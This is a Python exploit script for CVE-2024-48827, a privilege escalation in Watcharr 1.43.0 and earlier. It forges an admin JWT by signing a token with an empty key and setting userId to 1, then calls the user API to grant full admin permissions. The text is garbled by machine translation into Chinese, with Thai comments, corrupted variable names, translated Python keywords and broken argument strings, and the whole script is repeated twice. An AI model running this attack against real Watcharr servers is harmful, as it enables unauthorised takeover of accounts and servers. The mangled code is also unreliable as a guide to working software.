#cve-2024-48827 suphawith phusanbai的利用
#受影响的Watcharr版本1.43.0及以下。
导入argparse
导入请求
进口JSON
导入JWT
从pyfiglet导入figlet
f=figlet(font='倾斜',宽度=100)
打印(F.Rendertext('CVE-2024-48827'))
#Store JWT令牌和用户ID \เก็บ代币กับuserId
jwt_token=无
USER_ID=无
#login获取JWT令牌/ล็อคอินเพื่อรับjwt令牌
def登录(主机,端口,用户名,密码):
url=f'http://{主机} : {port}/api/auth/'
#payload中的登录API请求\有效载荷ในjson
有效载荷={
'username':用户名,
'password':密码
}
标题={
'content-type':'应用程序/json'
}
#login获取JWT令牌\ล็อคอินเพิ่อเก็บjwt令牌แล้วใส่ในjwt_token对象
TRY:
响应=requests.post(url,data=json.dumps(有效载荷),标头=标题)
if antsphy.status_code==200:
token=wendesp.json()。get('token')
如果Token:
打印(f'[+]成功!jwt token: {token}')
全局jwt_token
jwt_token=令牌
#decode JWT令牌并将用户ID存储在UserId对象\ดีโค้ดjwt令牌แล้วเก็บค่าuserIdใส่ใน用户ID
desded_payload=jwt.decode(token,options={'verify_signature': false})
全局用户_id
user_id=decoded_payload.get('userId')
返回令牌
其他:
打印('[ - ]再次检查密码!')
其他:
打印(f'[ - ]失败:(')
print(f'Response: {response.text}')
除异常外,E:
打印(f'Error!http响应代码: {e}')
#craft管理令牌(要使这项工作您需要知道管理用户名)
def create_new_jwt(oilter_token):
TRY:
decded_payload=jwt.decode(原始_token,options={'verify_signature': false})
#userid=1始终是admin \ userIdลำดับที่ลำดับที่ลำดับที่
dexed_payload ['userId']=1
new_token=jwt.encode(decoded_payload,'',algorithm='hs256')
打印(f'[+]新JWT TOKEN: {new_token}')
返回new_token
除异常外,E:
打印(f'[ - ]未能创建新的JWT: {e}')
#privilege升级与精心制作的JWT令牌\PEโดยการใช้精心制作的管理令牌
def privilege_escalation(主机,端口,管理员,令牌):
#Specify API端点,用于给用户管理角色\เรียกใช้งานapiสำหรับให้สิทธิ์用户管理
url=f'http://{host} : {port}/api/api/server/users/{user_id}'
#权限3提供了完整的访问权限,您也可以使用6和9来获得部分管理员特权。 \ให้สิทธิ์adminทั้งหมดดด้วย权限=3
有效载荷={
“许可” : 3
}
标题={
'授权': f'{token}',
'content-type':'应用程序/json'
}
TRY:
响应=requests.post(url,data=json.dumps(有效载荷),标头=标题)
if antsphy.status_code==200:
打印(f'[+]特权升级成功!当前的用户现在是管理员!')
其他:
打印(f'[ - ]未能升级特权。
除异常外,E:
打印(f'Error在特权期间升级: {e}')
#EXAMPL USAGE: PYTHON3 CVE -2024-48827.PY -U -U DUMMY -P DUMMY -P虚拟-Host 172.22.123.13 -Port 3080 -adminuser Admin
#用法
如果name=='__ -Main __':
parser=argparse.argumentparser(description='exploit cve-2024-488827获得JWT令牌并升级特权。')
parser.add_argument(' - host',' - horst',type=str,help='主机或ip地址',必需=true)
parser.add_argument(' - port',' - port',type=int,help='port',必需=true,default=3080)
parser.add_argument(' - u',' - username',type=str,help='login for Login',quirce=true)
parser.add_argument(' - p',' - password',type=str,help='login for Login',必需=true)
parser.add_argument(' - adminuser',' - adminuser',type=str,help,help='admin username tor升级特权',quilt
args=parser.parse_args()
#STEP 1:登录
token=login(args.host,args.port,args.username,args.password)
#Step 2:制作管理令牌
如果Token:
new_token=create_new_jwt(token)
#STEP 3:用精心设计的令牌升级特权。享受!
如果new_token:
privilege_escalation(args.host,args.port,args.adminuser,new_token)
#受影响的Watcharr版本1.43.0及以下。
导入argparse
导入请求
进口JSON
导入JWT
从pyfiglet导入figlet
f=figlet(font='倾斜',宽度=100)
打印(F.Rendertext('CVE-2024-48827'))
#Store JWT令牌和用户ID \เก็บ代币กับuserId
jwt_token=无
USER_ID=无
#login获取JWT令牌/ล็อคอินเพื่อรับjwt令牌
def登录(主机,端口,用户名,密码):
url=f'http://{主机} : {port}/api/auth/'
#payload中的登录API请求\有效载荷ในjson
有效载荷={
'username':用户名,
'password':密码
}
标题={
'content-type':'应用程序/json'
}
#login获取JWT令牌\ล็อคอินเพิ่อเก็บjwt令牌แล้วใส่ในjwt_token对象
TRY:
响应=requests.post(url,data=json.dumps(有效载荷),标头=标题)
if antsphy.status_code==200:
token=wendesp.json()。get('token')
如果Token:
打印(f'[+]成功!jwt token: {token}')
全局jwt_token
jwt_token=令牌
#decode JWT令牌并将用户ID存储在UserId对象\ดีโค้ดjwt令牌แล้วเก็บค่าuserIdใส่ใน用户ID
desded_payload=jwt.decode(token,options={'verify_signature': false})
全局用户_id
user_id=decoded_payload.get('userId')
返回令牌
其他:
打印('[ - ]再次检查密码!')
其他:
打印(f'[ - ]失败:(')
print(f'Response: {response.text}')
除异常外,E:
打印(f'Error!http响应代码: {e}')
#craft管理令牌(要使这项工作您需要知道管理用户名)
def create_new_jwt(oilter_token):
TRY:
decded_payload=jwt.decode(原始_token,options={'verify_signature': false})
#userid=1始终是admin \ userIdลำดับที่ลำดับที่ลำดับที่
dexed_payload ['userId']=1
new_token=jwt.encode(decoded_payload,'',algorithm='hs256')
打印(f'[+]新JWT TOKEN: {new_token}')
返回new_token
除异常外,E:
打印(f'[ - ]未能创建新的JWT: {e}')
#privilege升级与精心制作的JWT令牌\PEโดยการใช้精心制作的管理令牌
def privilege_escalation(主机,端口,管理员,令牌):
#Specify API端点,用于给用户管理角色\เรียกใช้งานapiสำหรับให้สิทธิ์用户管理
url=f'http://{host} : {port}/api/api/server/users/{user_id}'
#权限3提供了完整的访问权限,您也可以使用6和9来获得部分管理员特权。 \ให้สิทธิ์adminทั้งหมดดด้วย权限=3
有效载荷={
“许可” : 3
}
标题={
'授权': f'{token}',
'content-type':'应用程序/json'
}
TRY:
响应=requests.post(url,data=json.dumps(有效载荷),标头=标题)
if antsphy.status_code==200:
打印(f'[+]特权升级成功!当前的用户现在是管理员!')
其他:
打印(f'[ - ]未能升级特权。
除异常外,E:
打印(f'Error在特权期间升级: {e}')
#EXAMPL USAGE: PYTHON3 CVE -2024-48827.PY -U -U DUMMY -P DUMMY -P虚拟-Host 172.22.123.13 -Port 3080 -adminuser Admin
#用法
如果name=='__ -Main __':
parser=argparse.argumentparser(description='exploit cve-2024-488827获得JWT令牌并升级特权。')
parser.add_argument(' - host',' - horst',type=str,help='主机或ip地址',必需=true)
parser.add_argument(' - port',' - port',type=int,help='port',必需=true,default=3080)
parser.add_argument(' - u',' - username',type=str,help='login for Login',quirce=true)
parser.add_argument(' - p',' - password',type=str,help='login for Login',必需=true)
parser.add_argument(' - adminuser',' - adminuser',type=str,help,help='admin username tor升级特权',quilt
args=parser.parse_args()
#STEP 1:登录
token=login(args.host,args.port,args.username,args.password)
#Step 2:制作管理令牌
如果Token:
new_token=create_new_jwt(token)
#STEP 3:用精心设计的令牌升级特权。享受!
如果new_token:
privilege_escalation(args.host,args.port,args.adminuser,new_token)